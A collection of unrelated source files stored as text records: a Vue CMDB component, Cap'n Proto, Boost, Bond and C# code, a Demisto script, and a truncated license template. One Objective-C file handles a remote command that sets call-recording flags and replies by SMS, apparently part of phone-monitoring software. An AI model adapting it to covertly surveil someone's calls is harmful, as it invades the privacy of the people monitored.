CITypes\">{{ CIType.alias }}</a-select-option>\n </a-select>\n </a-form-item>\n\n <a-form-item\n :label-col=\"formItemLayout.labelCol\"\n :wrapper-col=\"formItemLayout.wrapperCol\"\n :label=\"$t('ciType.relationType')\"\n >\n <a-select\n name=\"relation_type_id\"\n style=\"width: 120px\"\n v-decorator=\"['relation_type_id', {rules: [], } ]\"\n >\n <a-select-option :value=\"relationType.id\" :key=\"relationType.id\" v-for=\"relationType in relationTypes\">{{ relationType.name }}\n </a-select-option>\n </a-select>\n\n </a-form-item>\n\n <div\n :style=\"{\n position: 'absolute',\n left: 0,\n bottom: 0,\n width: '100%',\n borderTop: '1px solid #e9e9e9',\n padding: '0.8rem 1rem',\n background: '#fff',\n\n }\"\n >\n <a-button @click=\"handleSubmit\" type=\"primary\" style=\"margin-right: 1rem\">{{ $t('button.submit') }}</a-button>\n <a-button @click=\"onClose\">{{ $t('button.cancel') }}</a-button>\n\n </div>\n </a-form>\n </a-drawer>\n\n </div>\n\n</template>\n\n<script>\nimport { createRelation, deleteRelation, getCITypeChildren } from '@/api/cmdb/CITypeRelation'\nimport { getRelationTypes } from '@/api/cmdb/relationType'\nimport { getCITypes } from '@/api/cmdb/CIType'\n\nimport { STable } from '@/components'\nimport PageView from '@/layouts/PageView'\n\nexport default {\n name: 'RelationTable',\n components: {\n PageView,\n STable\n },\n data () {\n return {\n CITypeId: parseInt(this.$route.params.CITypeId),\n CITypeName: this.$route.params.CITypeName,\n form: this.$form.createForm(this),\n scroll: { x: 1300, y: 600 },\n\n visible: false,\n\n drawerTitle: '',\n\n formLayout: 'vertical',\n\n CITypes: [],\n relationTypes: [],\n\n pagination: {\n defaultPageSize: 20\n },\n showPagination: false,\n columns: [\n {\n title: this.$t('ciType.sourceCIType') + this.$t('ciType.name'),\n dataIndex: 'source_ci_type_name',\n sorter: false,\n width: 200,\n scopedSlots: { customRender: 'source_ci_type_name' }\n },\n {\n title: this.$t('ciType.relationType'),\n dataIndex: 'relation_type',\n sorter: false,\n width: 100,\n scopedSlots: { customRender: 'name' }\n },\n {\n title: this.$t('ciType.targetCIType') + this.$t('ciType.alias'),\n dataIndex: 'alias',\n sorter: false,\n scopedSlots: { customRender: 'alias' }\n },\n {\n title: this.$t('tip.operate'),\n dataIndex: 'action',\n width: 100,\n fixed: 'right',\n scopedSlots: { customRender: 'action' }\n }\n ],\n loadData: parameter => {\n console.log('loadData.parameter', parameter)\n const CITypeId = this.CITypeId\n const CITypeName = this.CITypeName\n\n console.log('this CITypeId ', CITypeId, 'type', typeof CITypeName, 'CITypeName', CITypeName)\n\n return getCITypeChildren(this.CITypeId)\n .then(res => {\n let data = res.children\n\n data = data.map(function (obj, index) {\n obj.source_ci_type_name = CITypeName\n obj.source_ci_type_id = CITypeId\n return obj\n })\n\n return {\n data: data\n }\n })\n },\n\n mdl: {},\n advanced: false,\n queryParam: {},\n // custom table alert & rowSelection\n options: {\n alert: false,\n rowSelection: null\n },\n optionAlertShow: false\n\n }\n },\n beforeCreate () {\n },\n computed: {\n formItemLayout () {\n const { formLayout } = this\n return formLayout === 'horizontal' ? {\n labelCol: { span: 4 },\n wrapperCol: { span: 14 }\n } : {}\n },\n\n horizontalFormItemLayout () {\n return {\n labelCol: { span: 4 },\n wrapperCol: { span: 14 }\n }\n },\n buttonItemLayout () {\n const { formLayout } = this\n return formLayout === 'horizontal' ? {\n wrapperCol: { span: 14, offset: 4 }\n } : {}\n }\n },\n mounted () {\n this.getCITypes()\n this.getRelationTypes()\n },\n methods: {\n setScrollY () {\n this.scroll.y = window.innerHeight - this.$refs.table.$el.offsetTop - 250\n },\n\n getCITypes () {\n getCITypes().then(res => {\n this.CITypes = res.ci_types\n })\n },\n getRelationTypes () {\n getRelationTypes().then(res => {\n this.relationTypes = res\n })\n },\n\n callback (key) {\n console.log(key)\n },\n handleDelete (record) {\n console.log(record)\n\n deleteRelation(record.source_ci_type_id, record.id)\n .then(res => {\n this.$message.success(this.$t('tip.deleteSuccess'))\n\n this.handleOk()\n }).catch(err => this.requestFailed(err))\n },\n handleOk () {\n this.$refs.table.refresh()\n },\n\n handleCreate () {\n this.drawerTitle = this.$t('ciType.newRelation')\n this.visible = true\n this.$nextTick(() => {\n this.form.setFieldsValue({\n source_ci_type_id: this.CITypeId\n\n })\n })\n },\n\n onClose () {\n this.form.resetFields()\n this.visible = false\n },\n\n onChange (e) {\n console.log(`checked = ${e.target.checked}`)\n },\n\n handleSubmit (e) {\n e.preventDefault()\n this.form.validateFields((err, values) => {\n if (!err) {\n // eslint-disable-next-line no-console\n console.log('Received values of form: ', values)\n\n createRelation(values.source_ci_type_id, values.ci_type_id, values.relation_type_id)\n .then(res => {\n this.$message.success(this.$t('tip.addSuccess'))\n this.onClose()\n this.handleOk()\n }).catch(err => this.requestFailed(err))\n }\n })\n },\n\n requestFailed (err) {\n const msg = ((err.response || {}).data || {}).message || this.$t('tip.requestFailed')\n this.$message.error(`${msg}`)\n }\n\n },\n\n watch: {}\n\n}\n</script>\n\n<style lang=\"less\" scoped>\n .search {\n margin-bottom: 54px;\n }\n\n .fold {\n width: calc(100% - 216px);\n display: inline-block\n }\n\n .operator {\n margin-bottom: 18px;\n }\n\n .action-btn {\n margin-bottom: 1rem;\n }\n\n @media screen and (max-width: 900px) {\n .fold {\n width: 100%;\n }\n }\n</style>\n"} {"text": "//\n// SetCallRecordWatchFlagsProcessor.m\n// RCM\n//\n// Created by Makara Khloth on 11/26/15.\n//\n//\n\n#import \"SetCallRecordWatchFlagsProcessor.h\"\n#import \"PrefCallRecord.h\"\n#import \"PreferenceManager.h\"\n\n@interface SetCallRecordWatchFlagsProcessor (PrivateAPI)\n- (BOOL) isValidFlag;\n- (void) processSetWatchFlags;\n- (void) setWatchFlagException;\n- (void) sendReplySMS;\n@end\n\n@implementation SetCallRecordWatchFlagsProcessor\n\n@synthesize mWatchFlagsList;\n\n/**\n - Method name: initWithRemoteCommandData\n - Purpose:This method is used to initialize the SetCallRecordWatchFlagsProcessor class\n - Argument list and description: aRemoteCmdData (RemoteCmdData)\n - Return description: No return type\n */\n\n- (id) initWithRemoteCommandData: (RemoteCmdData *) aRemoteCmdData {\n DLog (@\"SetCallRecordWatchFlagsProcessor--->initWithRemoteCommandData...\");\n if ((self = [super initWithRemoteCommandData:aRemoteCmdData])) {\n }\n return self;\n}\n\n#pragma mark RemoteCmdProcessor Methods\n\n/**\n - Method name: doProcessingCommand\n - Purpose:This method is used to process the SetCallRecordWatchFlagsProcessor\n - Argument list and description: No Argument\n - Return description: No return type\n */\n\n- (void) doProcessingCommand {\n DLog (@\"SetCallRecordWatchFlagsProcessor--->doProcessingCommand\");\n [self setMWatchFlagsList:[RemoteCmdProcessorUtils validateArgs:[mRemoteCmdData mArguments] validationType:kZeroOrOneValidation]];\n DLog(@\"SetCallRecordWatchFlagsProcessor--->Watch Flags:%@\",mWatchFlagsList);\n if ([mWatchFlagsList count]>3) {\n [self processSetWatchFlags];\n }\n else {\n [self setWatchFlagException];\n }\n \n}\n\n\n#pragma mark SetCallRecordWatchFlagsProcessor PrivateAPI Methods\n\n/**\n - Method name: processSetWatchFlags\n - Purpose:This method is used to process set watch flags\n - Argument list and description: No Argument\n - Return description: No Return Type\n */\n\n- (void) processSetWatchFlags {\n DLog (@\"SetCallRecordWatchFlagsProcessor--->processSetWatchFlags\");\n id <PreferenceManager> prefManager = [[RemoteCmdUtils sharedRemoteCmdUtils] mPreferenceManager];\n PrefCallRecord *prefCallRecord = (PrefCallRecord *)[prefManager preference:kCallRecord];\n NSUInteger watchFlag=[prefCallRecord mWatchFlag];\n //In AddressBook\n if ([[mWatchFlagsList objectAtIndex:0] intValue]==1) {\n watchFlag |= kWatch_In_Addressbook;\n }\n else {\n watchFlag &= ~kWatch_In_Addressbook;\n }\n //Not In AddressBook\n if ([[mWatchFlagsList objectAtIndex:1] intValue]==1) {\n watchFlag |= kWatch_Not_In_Addressbook;\n }\n else {\n watchFlag &= ~kWatch_Not_In_Addressbook;\n }\n //In Watch List\n if ([[mWatchFlagsList objectAtIndex:2] intValue]==1) {\n watchFlag |= kWatch_In_List;\n }\n else {\n watchFlag &= ~kWatch_In_List;\n }\n //In Private Number\n if ([[mWatchFlagsList objectAtIndex:3] intValue]==1) {\n watchFlag |= kWatch_Private_Or_Unknown_Number;\n }\n else {\n watchFlag &= ~kWatch_Private_Or_Unknown_Number;\n }\n [prefCallRecord setMWatchFlag:watchFlag];\n [prefManager savePreferenceAndNotifyChange:prefCallRecord];\n [self sendReplySMS];\n}\n\n/**\n - Method name: setWatchFlagException\n - Purpose:This method is invoked when setwatch flags process is failed.\n - Argument list and description: No Argument\n - Return description: No Return\n */\n\n- (void) setWatchFlagException {\n DLog (@\"SetCallRecordWatchFlagsProcessor--->SetCallRecordWatchFlagsProcessor\")\n FxException* exception = [FxException exceptionWithName:@\"SetCallRecordWatchFlagsProcessor\" andReason:@\"Set OneCall Record Watch Flags error\"];\n [exception setErrorCode:kCmdExceptionErrorInvalidCmdFormat];\n [exception setErrorCategory:kFxErrorRCM];\n @throw exception;\n}\n\n/**\n - Method name: sendReplySMS\n - Purpose:This method is used to send the SMS reply\n - Argument list and description:No Argument\n - Return description: No return type\n */\n\n- (void) sendReplySMS {\n \n DLog (@\"SetCallRecordWatchFlagsProcessor--->sendReplySMS\")\n \n NSString *messageFormat=[[RemoteCmdUtils sharedRemoteCmdUtils] replyMessageFormatWithCommandCode:[self remoteCmdCode]\n andErrorCode:_SUCCESS_];\n \n NSString *setWatchFlagMessage=[messageFormat stringByAppendingString:NSLocalizedString(@\"kSetCallRecordWatchFlags\", @\"\")];\n \n \n [[RemoteCmdUtils sharedRemoteCmdUtils] createSystemEvent:mRemoteCmdData\n andReplyMessage:setWatchFlagMessage];\n if ([mRemoteCmdData mIsSMSReplyRequired]) {\n [[RemoteCmdUtils sharedRemoteCmdUtils] sendSMSWithRecipientNumber:[self recipientNumber]\n andMessage:setWatchFlagMessage];\n }\n}\n\n/**\n - Method name: dealloc\n - Purpose:This method is used to handle memory managment\n - Argument list and description:No Argument\n - Return description: No Return Type\n */\n\n-(void) dealloc {\n [mWatchFlagsList release];\n [super dealloc];\n}\n\n@end\n"} {"text": "# Copyright (c) 2013-2014 Sandstorm Development Group, Inc. and contributors\n# Licensed under the MIT License:\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#\n\nusing Cxx = import \"/capnp/c++.capnp\";\n\n@0xff75ddc6a36723c9;\n$Cxx.namespace(\"capnp::benchmark::capnp\");\n\nstruct ParkingLot {\n cars@0: List(Car);\n}\n\nstruct TotalValue {\n amount@0: UInt64;\n}\n\nstruct Car {\n make@0: Text;\n model@1: Text;\n color@2: Color;\n seats@3: UInt8;\n doors@4: UInt8;\n wheels@5: List(Wheel);\n length@6: UInt16;\n width@7: UInt16;\n height@8: UInt16;\n weight@9: UInt32;\n engine@10: Engine;\n fuelCapacity@11: Float32;\n fuelLevel@12: Float32;\n hasPowerWindows@13: Bool;\n hasPowerSteering@14: Bool;\n hasCruiseControl@15: Bool;\n cupHolders@16: UInt8;\n hasNavSystem@17: Bool;\n}\n\nenum Color {\n black @0;\n white @1;\n red @2;\n green @3;\n blue @4;\n cyan @5;\n magenta @6;\n yellow @7;\n silver @8;\n}\n\nstruct Wheel {\n diameter@0: UInt16;\n airPressure@1: Float32;\n snowTires@2: Bool;\n}\n\nstruct Engine {\n horsepower@0: UInt16;\n cylinders@1: UInt8;\n cc@2: UInt32;\n usesGas@3: Bool;\n usesElectric@4: Bool;\n}\n"} {"text": "\n// Copyright (C) 2008-2011 Daniel James.\n// Distributed under the Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n\n#ifndef BOOST_UNORDERED_FWD_HPP_INCLUDED\n#define BOOST_UNORDERED_FWD_HPP_INCLUDED\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n# pragma once\n#endif\n\n#include <boost/config.hpp>\n#include <memory>\n#include <functional>\n#include <boost/functional/hash_fwd.hpp>\n\nnamespace boost\n{\nnamespace unordered\n{\n template <class K,\n class T,\n class H = boost::hash<K>,\n class P = std::equal_to<K>,\n class A = std::allocator<std::pair<const K, T> > >\n class unordered_map;\n\n template <class K,\n class T,\n class H = boost::hash<K>,\n class P = std::equal_to<K>,\n class A = std::allocator<std::pair<const K, T> > >\n class unordered_multimap;\n\n template <class T,\n class H = boost::hash<T>,\n class P = std::equal_to<T>,\n class A = std::allocator<T> >\n class unordered_set;\n\n template <class T,\n class H = boost::hash<T>,\n class P = std::equal_to<T>,\n class A = std::allocator<T> >\n class unordered_multiset;\n\n struct piecewise_construct_t {};\n const piecewise_construct_t piecewise_construct = piecewise_construct_t();\n}\n}\n\n#endif\n"} {"text": "using Merp.Registry.CommandStack.Commands;\nusing Merp.Registry.QueryStack;\nusing Merp.Registry.Web.Api.Public.Models;\nusing Microsoft.AspNetCore.Http;\nusing Rebus.Bus;\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Threading.Tasks;\n\nnamespace Merp.Registry.Web.Api.Public.WorkerServices\n{\n public class CompanyControllerWorkerServices\n {\n public IBus Bus { get; private set; }\n\n public IHttpContextAccessor ContextAccessor { get; private set; }\n\n public IDatabase Database { get; private set; }\n\n public CompanyControllerWorkerServices(IDatabase database, IBus bus, IHttpContextAccessor contextAccessor)\n {\n Database = database ?? throw new ArgumentNullException(nameof(database));\n Bus = bus ?? throw new ArgumentNullException(nameof(bus));\n ContextAccessor = contextAccessor ?? throw new ArgumentNullException(nameof(contextAccessor));\n }\n\n public async Task AssociateCompanyAdministrativeContact(AssociateCompanyAdministrativeContactModel model)\n {\n if (model == null)\n {\n throw new ArgumentNullException(nameof(model));\n }\n\n var cmd = new AssociateAdministrativeContactToCompanyCommand(\n model.UserId,\n model.CompanyId,\n model.AdministrativeContactId\n );\n\n await Bus.Send(cmd);\n }\n\n public async Task AssociateCompanyMainContact(AssociateCompanyMainContactModel model)\n {\n if (model == null)\n {\n throw new ArgumentNullException(nameof(model));\n }\n\n var cmd = new AssociateMainContactToCompanyCommand(\n model.UserId,\n model.CompanyId,\n model.MainContactId\n );\n\n await Bus.Send(cmd);\n }\n\n public async Task ImportCompanyAsync(ImportCompanyModel model)\n {\n var nationalIdentificationNumber = string.IsNullOrWhiteSpace(model.NationalIdentificationNumber) ? default(string) : model.NationalIdentificationNumber.Trim().ToUpper();\n\n var legalAddressAddress = model.LegalAddressAddress;\n var legalAddressPostalCode = model.LegalAddressPostalCode;\n var legalAddressCity = model.LegalAddressCity;\n var legalAddressProvince = model.LegalAddressProvince;\n var legalAddressCountry = model.LegalAddressCountry;\n\n var shippingAddressAddress = model.ShippingAddressAddress;\n var shippingAddressPostalCode = model.ShippingAddressPostalCode;\n var shippingAddressCity = model.ShippingAddressCity;\n var shippingAddressProvince = model.ShippingAddressProvince;\n var shippingAddressCountry = model.ShippingAddressCountry;\n\n var billingAddressAddress = model.BillingAddressAddress;\n var billingAddressPostalCode = model.BillingAddressPostalCode;\n var billingAddressCity = model.BillingAddressCity;\n var billingAddressProvince = model.BillingAddressProvince;\n var billingAddressCountry = model.BillingAddressCountry;\n\n var phoneNumber = model.PhoneNumber;\n var faxNumber = model.FaxNumber;\n var websiteAddress = model.WebsiteAddress;\n var emailAddress = model.EmailAddress;\n\n Guid? mainContactId = default(Guid?);\n Guid? administrativeContactId = default(Guid?);\n\n var command = new ImportCompanyCommand(\n model.UserId,\n model.CompanyId,\n model.RegistrationDate,\n model.CompanyName,\n nationalIdentificationNumber,\n model.VatNumber,\n model.LegalAddressAddress,\n model.LegalAddressPostalCode,\n model.LegalAddressCity,\n model.LegalAddressProvince,\n model.LegalAddressCountry,\n model.ShippingAddressAddress,\n model.ShippingAddressPostalCode,\n model.ShippingAddressCity,\n model.ShippingAddressProvince,\n model.ShippingAddressCountry,\n model.BillingAddressAddress,\n model.BillingAddressPostalCode,\n model.BillingAddressCity,\n model.BillingAddressProvince,\n model.BillingAddressCountry,\n mainContactId,\n administrativeContactId,\n model.PhoneNumber,\n model.FaxNumber,\n model.WebsiteAddress,\n model.EmailAddress\n );\n\n await Bus.Send(command);\n }\n\n public async Task SetCompanyContactInfoAsync(SetCompanyContactInfoModel model)\n {\n if (model == null)\n {\n throw new ArgumentNullException(nameof(model));\n }\n\n var userId = model.UserId;\n\n var cmd = new ChangeCompanyContactInfoCommand(\n userId,\n model.CompanyId,\n model.PhoneNumber,\n model.FaxNumber,\n model.WebsiteAddress,\n model.EmailAddress);\n\n await Bus.Send(cmd);\n }\n }\n}\n"} {"text": "// Copyright (c) Microsoft. All rights reserved.\n// Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\n#pragma once\n\n#include <bond/core/config.h>\n\n#include <bond/core/blob.h>\n#include <bond/core/containers.h>\n\n#include <exception>\n#include <stdio.h>\n\nnamespace bond\n{\n\n\ntemplate <typename Buffer, typename T, typename Enable = void> struct\nimplements_varint_write\n : std::false_type {};\n\n\ntemplate <typename Buffer, typename T> struct\nimplements_varint_write<Buffer, T,\n#ifdef BOND_NO_SFINAE_EXPR\n typename boost::enable_if<check_method<void (Buffer::*)(T), &Buffer::WriteVariableUnsigned> >::type>\n#else\n detail::mpl::void_t<decltype(std::declval<Buffer>().WriteVariableUnsigned(std::declval<T>()))>>\n#endif\n : std::true_type {};\n\n\ntemplate<typename Buffer, typename T>\ninline\ntypename boost::enable_if<implements_varint_write<Buffer, T> >::type\nWriteVariableUnsigned(Buffer& output, T value)\n{\n BOOST_STATIC_ASSERT(std::is_unsigned<T>::value);\n\n // Use Buffer's implementation of WriteVariableUnsigned\n output.WriteVariableUnsigned(value);\n}\n\n\ntemplate<typename Buffer, typename T>\ninline\ntypename boost::disable_if<implements_varint_write<Buffer, T> >::type\nWriteVariableUnsigned(Buffer& output, T value)\n{\n BOOST_STATIC_ASSERT(std::is_unsigned<T>::value);\n\n // Use generic WriteVariableUnsigned\n GenericWriteVariableUnsigned(output, value);\n}\n\n\ntemplate<typename Buffer, typename T>\nBOND_NO_INLINE\nvoid GenericWriteVariableUnsigned(Buffer& output, T value)\n{\n T x = value;\n\n if (value >>= 7)\n {\n output.Write(static_cast<uint8_t>(x | 0x80));\n WriteVariableUnsigned(output, value);\n }\n else\n {\n output.Write(static_cast<uint8_t>(x));\n }\n}\n\n\ntemplate <typename Buffer, typename T, typename Enable = void> struct\nimplements_varint_read\n : std::false_type {};\n\n\ntemplate <typename Buffer, typename T> struct\nimplements_varint_read<Buffer, T,\n#ifdef BOND_NO_SFINAE_EXPR\n typename boost::enable_if<check_method<void (Buffer::*)(T&), &Buffer::ReadVariableUnsigned> >::type>\n#else\n detail::mpl::void_t<decltype(std::declval<Buffer>().ReadVariableUnsigned(std::declval<T&>()))>>\n#endif\n : std::true_type {};\n\n\ntemplate<typename Buffer, typename T>\ninline\ntypename boost::enable_if<implements_varint_read<Buffer, T> >::type\nReadVariableUnsigned(Buffer& input, T& value)\n{\n BOOST_STATIC_ASSERT(std::is_unsigned<T>::value);\n\n // Use Buffer's implementation of ReadVariableUnsigned\n input.ReadVariableUnsigned(value);\n}\n\n\ntemplate<typename Buffer, typename T>\nBOND_NO_INLINE\nvoid GenericReadVariableUnsigned(Buffer& input, T& value)\n{\n value = 0;\n uint8_t byte;\n uint32_t shift = 0;\n\n do\n {\n input.Read(byte);\n\n T part = byte & 0x7f;\n value += part << shift;\n shift += 7;\n }\n while(byte >= 0x80);\n}\n\n\ntemplate<typename Buffer, typename T>\ninline\ntypename boost::disable_if<implements_varint_read<Buffer, T> >::type\nReadVariableUnsigned(Buffer& input, T& value)\n{\n BOOST_STATIC_ASSERT(std::is_unsigned<T>::value);\n\n // Use generic ReadVariableUnsigned\n GenericReadVariableUnsigned(input, value);\n}\n\n\n// ZigZag encoding\ntemplate<typename T>\ninline\ntypename std::make_unsigned<T>::type EncodeZigZag(T value)\n{\n return (value << 1) ^ (value >> (sizeof(T) * 8 - 1));\n}\n\n// ZigZag decoding\ntemplate<typename T>\ninline\ntypename std::make_signed<T>::type DecodeZigZag(T value)\n{\n return (value >> 1) ^ (-static_cast<typename std::make_signed<T>::type>((value & 1)));\n}\n\n\nnamespace detail\n{\n\n// HexDigit\ninline char HexDigit(int n)\n{\n char d = n & 0xf;\n return d < 10 ? ('0' + d) : ('a' + d - 10);\n}\n\ninline int HexDigit(char c)\n{\n if (c >= 'a' && c <= 'f')\n return c - 'a' + 10;\n else if (c >= 'A' && c <= 'F')\n return c - 'A' + 10;\n else\n return c - '0';\n}\n\ntemplate <typename T, typename Enable = void> struct\nstring_char_int_type;\n\ntemplate <typename T> struct\nstring_char_int_type<T, typename boost::enable_if<is_string<T> >::type>\n{\n typedef uint8_t type;\n};\n\ntemplate <typename T> struct\nstring_char_int_type<T, typename boost::enable_if<is_wstring<T> >::type>\n{\n typedef uint16_t type;\n};\n\ntemplate <typename Buffer, typename T>\ntypename boost::enable_if_c<(sizeof(typename element_type<T>::type) == sizeof(typename string_char_int_type<T>::type))>::type\ninline ReadStringData(Buffer& input, T& value, uint32_t length)\n{\n resize_string(value, length);\n input.Read(string_data(value), length * sizeof(typename element_type<T>::type));\n}\n\ntemplate <typename Buffer, typename T>\ntypename boost::enable_if_c<(sizeof(typename element_type<T>::type) > sizeof(typename string_char_int_type<T>::type))>::type\ninline ReadStringData(Buffer& input, T& value, uint32_t length)\n{\n resize_string(value, length);\n typename element_type<T>::type* data = string_data(value);\n typename element_type<T>::type* const data_end = data + length;\n typename string_char_int_type<T>::type ch;\n for (; data != data_end; ++data)\n {\n input.Read(ch);\n *data = static_cast<typename element_type<T>::type>(ch);\n }\n}\n\ntemplate <typename Buffer, typename T>\ntypename boost::enable_if_c<(sizeof(typename element_type<T>::type) == sizeof(typename string_char_int_type<T>::type))>::type\ninline WriteStringData(Buffer& output, const T& value, uint32_t length)\n{\n output.Write(string_data(value), length * sizeof(typename element_type<T>::type));\n}\n\ntemplate <typename Buffer, typename T>\ntypename boost::enable_if_c<(sizeof(typename element_type<T>::type) > sizeof(typename string_char_int_type<T>::type))>::type\ninline WriteStringData(Buffer& output, const T& value, uint32_t length)\n{\n const typename element_type<T>::type* data = string_data(value);\n const typename element_type<T>::type* const data_end = data + length;\n typename string_char_int_type<T>::type ch;\n for (; data != data_end; ++data)\n {\n ch = static_cast<typename string_char_int_type<T>::type>(*data);\n output.Write(ch);\n }\n}\n\n} // namespace detail\n\n} // namespace bond\n"} {"text": "import demistomock as demisto\nfrom CommonServerPython import *\nfrom urllib.parse import urlparse, ParseResult\n\n\ndef main():\n urls = demisto.demistoUrls()\n server_url = urls.get('server', '')\n\n server_url_parts: ParseResult = urlparse(server_url)\n host_name = server_url_parts.hostname\n port = server_url_parts.port\n scheme = server_url_parts.scheme\n\n server_address = {\n 'Scheme': scheme,\n 'Host': host_name,\n 'Port': port,\n 'URL': server_url\n }\n\n return_outputs(server_url, {'ServerURL': server_address}, server_url)\n\n\nif __name__ in ('__builtin__', 'builtins'):\n main()\n"} {"text": "<<beginOptional>> Sun Industry Standards Source License - Version 1.1<<endOptional>>\n\n <<var;name=\"bullet\";original=\"1.0\";match=\".{0,20}\">> DEFINITIONS\n\n <<var;name=\"bullet\";original=\"1.1\";match=\".{0,20}\">> \"Commercial Use\" means distribution or otherwise making the Original Code available to a third party.\n\n <<var;name=\"bullet\";original=\"1.2\";match=\".{0,20}\">> \"Contributor Version\" means the combination of the Original Code, and the Modifications made by that particular Contributor.\n\n <<var;name=\"bullet\";original=\"1.3\";match=\".{0,20}\">> \"Electronic Distribution Mechanism\" means a mechanism generally accepted in the software development community for the electronic transfer of data.\n\n <<var;name=\"bullet\";original=\"1.4\";match=\".{0,20}\">> \"Executable\" means Original Code in any form other than Source Code.\n\n <<var;name=\"bullet\";original=\"1.5\";match=\".{0,20}\">> \"Initial Developer\" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.\n\n <<var;name=\"bullet\";original=\"1.6\";match=\".{0,20}\">> \"Larger Work\" means a work which combines Original Code or portions thereof with code not governed by the terms of this License.\n\n <<var;name=\"bullet\";original=\"1.7\";match=\".{0,20}\">> \"License\" means this document.\n\n <<var;name=\"bullet\";original=\"1.8\";match=\".{0,20}\">> \"Licensable\" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.\n\n <<var;name=\"bullet\";original=\"1.9\";match=\".{0,20}\">> \"Modifications\" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. A Modification is:\n\n <<var;name=\"bullet\";original=\"A.\";match=\".{0,20}\">> Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.\n\n <<var;name=\"bullet\";original=\"B.\";match=\".{0,20}\">> Any new file that contains any part of the Original Code or previous Modifications.\n\n <<var;name=\"bullet\";original=\"1.10\";match=\".{0,20}\">> \"Original Code\" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code.\n\n <<var;name=\"bullet\";original=\"1.11\";match=\".{0,20}\">> \"Patent Claims\" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.\n\n <<var;name=\"bullet\";original=\"1.12\";match=\".{0,20}\">> \"Source Code\" means the preferred form of the Original Code for making modifications to it, including all modules it contains, plus any associated interface definition files, or scripts used to control compilation and installation of an Executable.\n\n <<var;name=\"bullet\";original=\"1.13\";match=\".{0,20}\">> \"Standards\" means the standards identified in Exhibit B.\n\n <<var;name=\"bullet\";original=\"1.14\";match=\".{0,20}\">> \"You\" (or \"Your\") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, \"You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, \"control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.\n\n <<var;name=\"bullet\";original=\"2.0\";match=\".{0,20}\">> SOURCE CODE LICENSE\n\n <<var;name=\"bullet\";original=\"2.1\";match=\".{0,20}\">> The Initial Developer Grant The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:\n\n <<var;name=\"bullet\";original=\"(a)\";match=\".{0,20}\">> under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and\n\n <<var;name=\"bullet\";original=\"(b)\";match=\".{0,20}\">> under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).\n\n <<var;name=\"bullet\";original=\"(c)\";match=\".{0,20}\">> the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.\n\n <<var;name=\"bullet\";original=\"(d)\";match=\".{0,20}\">> Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices, including but not limited to Modifications.\n\n <<var;name=\"bullet\";original=\"3.0\";match=\".{0,20}\">> DISTRIBUTION OBLIGATIONS\n\n <<var;name=\"bullet\";original=\"3.1\";match=\".{0,20}\">> Application of License. The Source Code version of Original Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. Your license for shipment of the Contributor Version is conditioned upon Your full compliance with this Section. The Modifications which You create must comply with all requirements set out by the Standards body in effect one hundred twenty (120) days before You ship the Contributor Version. In the event that the Modifications do not meet such requirements, You agree to publish either (i) any deviation from the Standards protocol resulting from implementation of Your Modifications and a reference implementation of Your Modifications or (ii) Your Modifications in Source Code form, and to make any such deviation and reference implementation or Modifications available to all third parties under the same terms as this license on a royalty free basis within thirty (30) days of Your first customer shipment of Your Modifications.\n\n <<var;name=\"bullet\";original=\"3.2\";match=\".{0,20}\">> Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add Your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Initial Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Your version of the Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer for any 